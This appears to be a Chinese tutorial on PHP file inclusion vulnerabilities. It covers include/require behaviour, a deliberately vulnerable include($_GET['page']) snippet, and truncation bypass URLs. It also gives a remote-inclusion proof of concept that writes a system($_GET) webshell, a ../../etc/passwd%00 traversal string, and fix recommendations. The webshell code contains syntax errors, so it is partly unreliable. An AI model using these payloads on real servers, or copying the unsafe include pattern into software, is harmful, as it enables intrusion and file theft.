任意文件读取
漏洞原理
文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。
PHP 文件包含函数
require()
=> 只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本。include()
=> 执行到 include 时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行。require_once()
和include_once()
=> 若文件中代码已被包含则不会再次包含。与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。
代码分析
<?php
$filename=$_GET['page'];
include($filename);
?>
文件包含绕过
%00截断
截断漏洞出现的核心就是chr(0)
,这个字符不为空 (Null),也不是空字符 (""),更不是空格。当程序在输出含有 chr(0) 变量时,chr(0) 后面的数据会被停止,换句话说,就是误把它当成结束符,后面的数据直接忽略,这就导致了漏洞产生。
- 条件
allow_url_fopen = off
magic_quotes_gpc = off
php_version < 5.3.4
点号截断
Windows 下目录最大长度为 256 字节,超出的部分会被丢弃;Linux 下目录最大长度为 4096 字节,超出的部分会被丢弃。所以用......
绕过的时候 Windows 系统中,点号需要长于 256;Linux 系统中点号要长于 4096。
- POC
http://xx.xx.xx.xx/web/baohan/index.php?page=phpinfo.php.......................................
长路径截断
原理同上。
- POC
http://xx.xx.xx.xx/web/baohan/index.php?page=phpinfo.php./././././././././././././././././././././
远程文件包含
- 条件
allow_url_include = On
如果是包含远程服务器上的 PHP 文件,那么得到的是被远程服务器解析过的 PHP,所以在写一句话木马的时候就不要做成.php
的文件,一般做成.txt
的文件,再让它包含过来。
漏洞危害
- Web 服务器的文件被外界浏览导致信息泄露。
- 脚本被任意执行,典型影响如下:
- 篡改网站。
- 执行非法操作。
- 攻击其他网站。
修复建议
- 过滤
../
,./
。 - 配置
php.ini
文件。 - 关闭
allow_url_fopen
和allow_url_include
。 - 设置白名单。
测试方法
让测试目标访问搭建好的 VPS 网站,将POC文件保存为 hack.txt。
POC:
<?php
$myfile = fopen("hack.php", "w");
$txt = '<?php system($_GET[x];?>';
fwrite($myfile, $txt);
fclose(handle);
?>
提示
php 内核是由 C 语言写的,因此也使用了 c 语言中的字符串处理函数,在连接字符串时,0 字节(\x00)将作为字符串结束符,攻击者可以在 Web 中尝试使用 ../../etc/passwd%00 截断后面拼接的文件后缀名,或者 ../../etc/passwd\0。